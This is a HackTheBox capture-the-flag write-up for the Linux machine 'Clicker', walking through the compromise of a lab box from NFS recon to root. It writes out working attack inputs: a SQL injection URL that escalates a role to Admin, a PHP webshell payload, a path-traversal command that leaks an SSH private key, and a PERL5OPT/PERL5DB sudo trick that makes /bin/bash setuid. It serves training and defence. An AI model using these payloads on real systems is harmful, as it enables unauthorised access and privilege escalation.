HTB: Clicker Writeup

Clicker - HackTheBox Writeup

Machine Information

AttributeDetails
NameClicker
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Addressclicker.htb
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Clicker is a Medium Linux box built around a PHP “clicker game” web application. A public NFS export leaks the full application source, revealing a parameter-name SQL injection in the profile-save endpoint that lets any registered player escalate their own role to Admin. From there, an unrestricted file-extension export feature is abused to turn a poisoned nickname field into an executable PHP webshell, landing code execution as www-data. A non-default SUID binary on the box reads query files from a fixed user’s home directory without validating the action argument, and a path-traversal on that argument leaks an SSH private key. Once on the box as that user, a NOPASSWD sudo rule on a monitoring script — which shells out to a Perl-based XML pretty-printer — is abused via the classic PERL5OPT/PERL5DB environment-variable trick to gain a root shell.

TL;DR: NFS export leaks source → parameter-pollution SQLi in save_game.php escalates role to Admin → nickname poisoned with a PHP payload → admin export feature abused with extension=php → RCE as www-data → SUID execute_query path traversal leaks jack’s SSH key → user.txt → jack’s NOPASSWD sudo on /opt/monitor.sh (which calls Perl’s xml_pp) abused via PERL5OPT/PERL5DB to chmod u+s /bin/bash → root.txt.


Reconnaissance

Port Scanning

Standard full-port sweep followed by service/version scan:

Terminal window
nmap -sC -sV -T4 -p- clicker.htb

Results: Ports 22 (SSH), 80 (HTTP), 111 (rpcbind), and 2049 (NFS) were up. The box needed roughly a minute to fully boot before all services responded.

Service Enumeration

NFS stood out immediately as an unauthenticated-by-default protocol worth checking for exports:

Terminal window
showmount -e clicker.htb

This revealed a public export, /mnt/backups, mountable by anyone with no credentials.

Vulnerability Assessment

  • World-readable NFS export exposing what turned out to be a full application source backup (clicker.htb_backup.zip).
  • Working from the jump box hit an environment snag: /tmp was 100% full, so the mount/copy operations were done out of /dev/shm instead, and sudo dd was used to pull the backup file off the NFS mount rather than a plain cp.
  • Extracting the zip gave the complete PHP source tree for the running web app (play.php, save_game.php, db_utils.php, export.php, etc.), turning this into a source-available code review rather than blind black-box testing.

Initial Foothold

Exploitation Path

1. Parameter-name SQL injection in save_game.php

Reviewing db_utils.php’s save_profile function showed that while the values passed to save_game.php are safely wrapped with PDO::quote(), the GET parameter names are concatenated directly into the UPDATE ... SET clause with no sanitization:

// db_utils.php (from the leaked source)
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}

Because $key (the parameter name) is never quoted or validated, injecting an = (URL-encoded as %3d) into a parameter name lets an attacker splice an entirely new column=value assignment into the SET clause. This was used to promote the current player to Admin:

/save_game.php?clicks%3d0,role%3d'Admin',clicks=0&level=0

Re-authenticating afterward surfaced the Administration panel, confirming the role had actually changed server-side — this is a classic second-order/parameter-pollution SQLi, distinct from a value-based injection, and code review was the only realistic way to spot it since the rendered HTML gives no hint the parameter names are trusted input.

2. Nickname-as-payload → PHP webshell via the export feature

The admin panel’s Export feature writes a file under exports/ named after the request, and the extension is taken from a client-controlled extension parameter with no server-side allow-list. Since save_game.php’s injection also lets an authenticated player set arbitrary profile fields (not just role), the nickname field was set to a small PHP payload — PDO::quote() conveniently handles the quoting/escaping for free since it’s just being stored as a string value in the database:

/save_game.php?clicks=0&level=0&nickname=<?php system($_REQUEST['cmd']);?>

Triggering the export with extension=php and threshold=0 (so every player, including the attacker, qualifies for the “top players” table) produced a file such as exports/top_players_<id>.php containing the poisoned nickname verbatim — i.e., live PHP.

3. RCE as www-data

Hitting the generated export file with a cmd parameter executed arbitrary shell commands on the server:

/exports/top_players_<id>.php?cmd=id

confirming code execution as www-data.


Privilege Escalation

www-data → jack (SUID path traversal)

Enumerating for privilege-escalation vectors as www-data turned up a non-standard SUID binary:

/opt/manage/execute_query
find / -perm -u=s -type f 2>/dev/null
# ...

This binary is designed to run a small set of numbered maintenance actions (create schema, seed fake players, reset admin password, purge users) by reading .sql query files out of jack’s home directory, then executing them as MySQL. Critically, it takes the action number as argv[1] and does not validate an unrecognized action or the resulting file path, meaning a bogus action plus a relative path in the second argument is passed straight through to a file-read:

Terminal window
/opt/manage/execute_query 6 ../.ssh/id_rsa

Because the binary is SUID and legitimately allowed to read inside /home/jack/, this path traversal leaked jack’s private key. The key came back HTML-mangled in the shell output (including a shortened trailing base64 line), and had to be reconstructed into a valid PEM before use — after fixing that up:

Terminal window
chmod 600 jack_id_rsa
ssh -i jack_id_rsa jack@clicker.htb

This granted a shell as jack, yielding user.txt.

jack → root (sudo NOPASSWD + Perl debugger env-var abuse)

Checking jack’s sudo rights:

/opt/monitor.sh
sudo -l

The SETENV tag is the key detail — it means jack can pass arbitrary environment variables through to the script when it runs as root via sudo, not just execute it. /opt/monitor.sh internally shells out to xml_pp, which is a Perl script, to pretty-print an XML diagnostic blob. The script does defensively unset PERLLIB and unset PERL5LIB, but that only blocks the module-path injection vector — it does nothing about PERL5OPT and PERL5DB, which the Perl interpreter honors to enable the built-in debugger and execute arbitrary code at startup:

Terminal window
sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
bash -p

PERL5OPT=-d forces Perl to launch under the debugger, and PERL5DB supplies Perl code that the debugger evaluates as its init routine — here, chmod u+s /bin/bash, executed with root’s privileges the moment xml_pp starts. Running bash -p afterward drops into a shell that preserves the newly-set setuid bit, giving an effective-root shell and root.txt.


Attack Chain Summary

Public NFS export (/mnt/backups) → leaked application source
→ parameter-name SQLi in save_game.php → self-promote to Admin
→ poison nickname field with PHP payload via same SQLi
→ admin Export feature (unchecked extension=php) → PHP webshell on disk
→ RCE as www-data
→ SUID /opt/manage/execute_query path traversal → leak jack's id_rsa
→ SSH as jack → user.txt
→ sudo SETENV NOPASSWD on /opt/monitor.sh (calls Perl xml_pp)
→ PERL5OPT=-d / PERL5DB env-var abuse → chmod u+s /bin/bash
→ bash -p → root.txt

Tools Used

ToolPurpose
nmapPort/service scanning
showmountEnumerate NFS exports
mount / sudo ddMount NFS share and copy backup off it (jump-box /tmp was full, worked from /dev/shm)
unzipExtract leaked source backup
Manual code reviewSpot the parameter-name SQLi in db_utils.php
Browser / curl (URL-encoded requests)Drive the SQLi, poison nickname, trigger export
strace / strings (implied by binary behavior)Understand execute_query’s file-read behavior
sshAccess as jack with recovered key
sudo -lEnumerate privilege escalation vector
Perl debugger env-var trick (PERL5OPT/PERL5DB)Root shell via SETENV sudo rule

Key Learnings

Techniques Practiced

  • Mounting and looting a public NFS export for source code
  • Spotting parameter-name (as opposed to parameter-value) SQL injection from code review
  • Chaining a stored-injection primitive into a second-stage RCE via an unchecked file-export feature
  • Exploiting a SUID binary’s implicit trust in a fixed file path via argument-driven path traversal
  • Abusing sudo’s SETENV tag combined with Perl’s PERL5OPT/PERL5DB environment variables to bypass an incomplete env-sanitization defense

Lessons Learned

  1. Sanitizing values in a dynamically-built SQL query is not enough if the keys/column names are also attacker-influenced — both need strict allow-listing.
  2. File export/upload features that let a client choose the output extension are effectively arbitrary-file-write-to-RCE if the content is even partially attacker-controlled.
  3. A SUID binary that reads “trusted” files by relative path is only as safe as its path validation — an unhandled action branch reachable with a bogus argument was enough to turn it into an arbitrary-file-read primitive.
  4. Defensive unset of PERLLIB/PERL5LIB before invoking a Perl helper is incomplete: PERL5OPT and PERL5DB are a separate, still-live code-execution vector, and sudo’s SETENV tag is what makes passing them through possible in the first place.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Clicker — Official HackTheBox Writeup by amra (Document No D24.100.264, machine author: Nooneye) — used to confirm the SQLi mechanics in save_profile/db_utils.php, the export-extension abuse, and as the source for the alternative Perl-debugger (PERL5OPT/PERL5DB) root path taken in this solve.